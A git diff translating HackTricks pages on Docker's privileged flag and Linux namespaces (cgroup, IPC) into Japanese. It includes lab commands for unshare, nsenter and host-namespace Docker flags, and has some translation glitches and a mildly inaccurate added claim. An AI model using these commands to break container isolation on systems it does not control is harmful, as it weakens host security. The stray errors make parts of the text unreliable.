+ネームスペースは`--privileged`フラグによって**影響を受けません**。セキュリティ制約が有効になっていないため、システム上のすべてのプロセスやホストネットワークを見ることはありません。ユーザーは、**`--pid=host`、`--net=host`、`--ipc=host`、`--uts=host`**のコンテナエンジンフラグを使用して個々のネームスペースを無効にすることができます。 {% tabs %} -{% tab title="Inside default privileged container" %} +{% tab title="デフォルトの特権付きコンテナ内部" %} ```bash # docker run --rm --privileged -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:00 sh - 18 root 0:00 ps -ef +1 root 0:00 sh +18 root 0:00 ps -ef ``` -{% endtab %} - -{% tab title="Inside --pid=host Container" %} +{% tab title="ホスト内 --pid=host コンテナ" %} ```bash # docker run --rm --privileged --pid=host -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:03 /sbin/init - 2 root 0:00 [kthreadd] - 3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs +1 root 0:03 /sbin/init +2 root 0:00 [kthreadd] +3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs [...] ``` {% endtab %} {% endtabs %} -### User namespace +### ユーザーネームスペース -Container engines do **NOT use user namespace by default**. However, rootless containers always use it to mount file systems and use more than a single UID. In the rootless case, user namespace can not be disabled; it is required to run rootless containers. User namespaces prevent certain privileges and add considerable security. +コンテナエンジンはデフォルトではユーザーネームスペースを使用しません。ただし、ルートレスコンテナは常にユーザーネームスペースを使用してファイルシステムをマウントし、単一のUID以上を使用します。ルートレスの場合、ユーザーネームスペースは無効にすることはできません。ルートレスコンテナを実行するためには、ユーザーネームスペースが必要です。ユーザーネームスペースは特定の特権を防止し、セキュリティを向上させます。 -## References +## 参考文献 * [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) @@ -231,10 +213,10 @@ Container engines do **NOT use user namespace by default**. However, rootless co ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/linux-hardening/privilege-escalation/docker-security/namespaces/README.md index eaebf355c..1d3af24d1 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/README.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/README.md @@ -1,60 +1,60 @@ -# Namespaces +# 名前空間
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**PEASSの最新バージョンにアクセスしたいですか、またはHackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-### **PID namespace** +### **PID名前空間** {% content-ref url="pid-namespace.md" %} [pid-namespace.md](pid-namespace.md) {% endcontent-ref %} -### **Mount namespace** +### **マウント名前空間** {% content-ref url="mount-namespace.md" %} [mount-namespace.md](mount-namespace.md) {% endcontent-ref %} -### **Network namespace** +### **ネットワーク名前空間** {% content-ref url="network-namespace.md" %} [network-namespace.md](network-namespace.md) {% endcontent-ref %} -### **IPC Namespace** +### **IPC名前空間** {% content-ref url="ipc-namespace.md" %} [ipc-namespace.md](ipc-namespace.md) {% endcontent-ref %} -### **UTS namespace** +### **UTS名前空間** {% content-ref url="uts-namespace.md" %} [uts-namespace.md](uts-namespace.md) {% endcontent-ref %} -### Time Namespace +### **Time名前空間** {% content-ref url="time-namespace.md" %} [time-namespace.md](time-namespace.md) {% endcontent-ref %} -### User namespace +### **ユーザー名前空間** {% content-ref url="user-namespace.md" %} [user-namespace.md](user-namespace.md) {% endcontent-ref %} -### CGroup Namespace +### **CGroup名前空間** {% content-ref url="cgroup-namespace.md" %} [cgroup-namespace.md](cgroup-namespace.md) @@ -64,10 +64,10 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**PEASSの最新バージョンにアクセスしたいですか、またはHackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index 89fc1bc67..8305bf84b 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -4,87 +4,89 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Basic Information +## 基本情報 -A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O. +CGroup Namespaceは、**名前空間内で実行されるプロセスのcgroup階層を分離する**Linuxカーネルの機能です。**制御グループ**(control groups)の略であるcgroupsは、CPU、メモリ、I/Oなどのシステムリソースに対する制限を管理および強制するためのカーネル機能です。 -While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces. +CGroup Namespaceは、PID、マウント、ネットワークなどの他の名前空間とは異なる独立した名前空間タイプではありませんが、名前空間の分離の概念に関連しています。**CGroup Namespaceはcgroup階層のビューを仮想化**し、そのため、CGroup Namespace内で実行されるプロセスは、ホストや他の名前空間で実行されるプロセスと比較して、階層の異なるビューを持ちます。 -### How it works: +### 動作原理: -1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup. -2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree. -3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves. +1. 新しいCGroup Namespaceが作成されると、**作成プロセスのcgroupに基づいてcgroup階層のビューが開始されます**。これは、CGroup Namespace内で実行されるプロセスが、作成プロセスのcgroupをルートとするcgroupのサブツリーに制限されたビューしか見ることができないことを意味します。 +2. CGroup Namespace内のプロセスは、**自分自身のcgroupを階層のルートとして見る**ことができます。つまり、名前空間内のプロセスの視点からは、自分自身のcgroupがルートとして表示され、自分自身のサブツリー以外のcgroupを見ることやアクセスすることはできません。 +3. CGroup Namespaceはリソースの直接的な分離を提供しません。**リソースの制御と分離は、cgroupのサブシステム(例:CPU、メモリなど)によって依然として強制されます**。 -For more information about CGroups check: +CGroupsの詳細については、次を参照してください: {% content-ref url="../cgroups.md" %} [cgroups.md](../cgroups.md) {% endcontent-ref %} -## Lab: +## ラボ: -### Create different Namespaces +### 異なる名前空間の作成 #### CLI - ```bash sudo unshare -C [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +`--mount-proc`パラメータを使用して`/proc`ファイルシステムの新しいインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報の正確で隔離されたビューを持つことが保証されます。
-Error: bash: fork: Cannot allocate memory +エラー:bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +`-f`を指定せずに前の行を実行すると、このエラーが発生します。\ +このエラーは、新しい名前空間でPID 1プロセスが終了することによって引き起こされます。 +bashが実行されると、bashはいくつかの新しいサブプロセスをフォークして何かを行います。-fを指定せずにunshareを実行すると、bashのPIDは現在の「unshare」プロセスと同じになります。現在の「unshare」プロセスはunshareシステムコールを呼び出し、新しいPID名前空間を作成しますが、現在の「unshare」プロセス自体は新しいPID名前空間にありません。これはLinuxカーネルの望ましい動作です:プロセスAが新しい名前空間を作成すると、プロセスA自体は新しい名前空間に配置されず、プロセスAのサブプロセスのみが新しい名前空間に配置されます。したがって、次のコマンドを実行すると: ``` unshare -p /bin/bash ``` +unshareプロセスは/bin/bashを実行し、/bin/bashはいくつかのサブプロセスをフォークします。bashの最初のサブプロセスは新しい名前空間のPID 1になり、ジョブが完了するとサブプロセスは終了します。したがって、新しい名前空間のPID 1が終了します。 -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +PID 1プロセスには特別な機能があります。孤児プロセスの親プロセスになる必要があります。ルート名前空間のPID 1プロセスが終了すると、カーネルはパニックになります。サブ名前空間のPID 1プロセスが終了すると、Linuxカーネルはdisable\_pid\_allocation関数を呼び出し、その名前空間のPIDNS\_HASH\_ADDINGフラグをクリアします。Linuxカーネルが新しいプロセスを作成するとき、カーネルはalloc\_pid関数を呼び出して名前空間内でPIDを割り当てます。PIDNS\_HASH\_ADDINGフラグが設定されていない場合、alloc\_pid関数は-ENOMEMエラーを返します。これが「Cannot allocate memory」エラーが発生する理由です。 +この問題は、'-f'オプションを使用することで解決できます: ``` unshare -fp /bin/bash ``` +もし`-f`オプションを使ってunshareを実行すると、unshareは新しいpid namespaceを作成した後に新しいプロセスをフォークします。そして、新しいプロセスで`/bin/bash`を実行します。新しいプロセスは新しいpid namespaceのpid 1となります。その後、bashはいくつかのサブプロセスをフォークしてジョブを実行します。bash自体が新しいpid namespaceのpid 1であるため、そのサブプロセスは問題なく終了することができます。 -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) +[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)から転載
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +### 自分のプロセスがどの名前空間にあるかを確認する -### Check which namespace is your process in +To check which namespace your process is in, you can use the following command: +プロセスがどの名前空間にあるかを確認するには、次のコマンドを使用します。 + +```bash +cat /proc/$$/cgroup +``` + +This command will display the control groups associated with your process, including the cgroup namespace. The output will show the path to the cgroup namespace file, which will indicate the namespace your process is in. + +このコマンドは、プロセスに関連するコントロールグループを表示し、cgroup名前空間も含まれます。出力には、cgroup名前空間ファイルへのパスが表示され、プロセスがどの名前空間にあるかを示します。 ```bash ls -l /proc/self/ns/cgroup lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]' ``` - -### Find all CGroup namespaces +### すべてのCGroupの名前空間を見つける {% code overflow="wrap" %} ```bash @@ -92,24 +94,24 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/nul # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep ``` +{% code %} + +### CGroup ネームスペースに入る + {% endcode %} - -### Enter inside an CGroup namespace - ```bash nsenter -C TARGET_PID --pid /bin/bash ``` - -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`). +また、**rootユーザーでなければ他のプロセスの名前空間に入ることはできません**。また、**`/proc/self/ns/cgroup`**のようなディスクリプタがない場合、他の名前空間に**入ることはできません**。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 89c823653..e5b9d869c 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -1,82 +1,82 @@ -# IPC Namespace +# IPC ネームスペース
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**telegram グループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PR を** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Information +## 基本情報 -An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups. +IPC (Inter-Process Communication) ネームスペースは、Linux カーネルの機能であり、メッセージキュー、共有メモリセグメント、セマフォなどの System V IPC オブジェクトを**分離**します。この分離により、**異なる IPC ネームスペースのプロセスは、直接に他のネームスペースの IPC オブジェクトにアクセスしたり変更したりすることができません**。これにより、プロセスグループ間のセキュリティとプライバシーの追加のレイヤーが提供されます。 -### How it works: +### 動作原理: -1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default. -2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace. +1. 新しい IPC ネームスペースが作成されると、**完全に分離された System V IPC オブジェクトのセット**で開始されます。これは、新しい IPC ネームスペースで実行されるプロセスが、デフォルトでは他のネームスペースやホストシステムの IPC オブジェクトにアクセスしたり干渉したりすることができないことを意味します。 +2. ネームスペース内で作成された IPC オブジェクトは、**そのネームスペース内のプロセスのみが見え、アクセスできます**。各 IPC オブジェクトは、ネームスペース内で一意のキーによって識別されます。キーは異なるネームスペースで同じである場合がありますが、オブジェクト自体は分離され、ネームスペース間でアクセスすることはできません。 +3. プロセスは、`setns()` システムコールを使用してネームスペース間を移動したり、`unshare()` または `clone()` システムコールを使用して `CLONE_NEWIPC` フラグとともに新しいネームスペースを作成したりすることができます。プロセスが新しいネームスペースに移動したり作成したりすると、そのネームスペースに関連付けられた IPC オブジェクトを使用し始めます。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なるネームスペースの作成 #### CLI - ```bash sudo unshare -i [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +`--mount-proc`パラメータを使用して`/proc`ファイルシステムの新しいインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報の正確で隔離されたビューを持つことが保証されます。
-Error: bash: fork: Cannot allocate memory +エラー:bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +`-f`を指定せずに前の行を実行すると、このエラーが発生します。\ +このエラーは、新しい名前空間でPID 1のプロセスが終了することによって引き起こされます。 +bashが実行されると、bashはいくつかの新しいサブプロセスをフォークして何かを行います。-fを指定せずにunshareを実行すると、bashのPIDは現在の「unshare」プロセスと同じになります。現在の「unshare」プロセスはunshareシステムコールを呼び出し、新しいPID名前空間を作成しますが、現在の「unshare」プロセス自体は新しいPID名前空間にありません。これはLinuxカーネルの望ましい動作です:プロセスAが新しい名前空間を作成すると、プロセスA自体は新しい名前空間に配置されず、プロセスAのサブプロセスのみが新しい名前空間に配置されます。したがって、次のコマンドを実行すると: ``` unshare -p /bin/bash ``` +unshareプロセスは/bin/bashを実行し、/bin/bashはいくつかのサブプロセスをフォークします。bashの最初のサブプロセスは新しい名前空間のPID 1になり、ジョブが完了するとサブプロセスは終了します。したがって、新しい名前空間のPID 1が終了します。 -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the 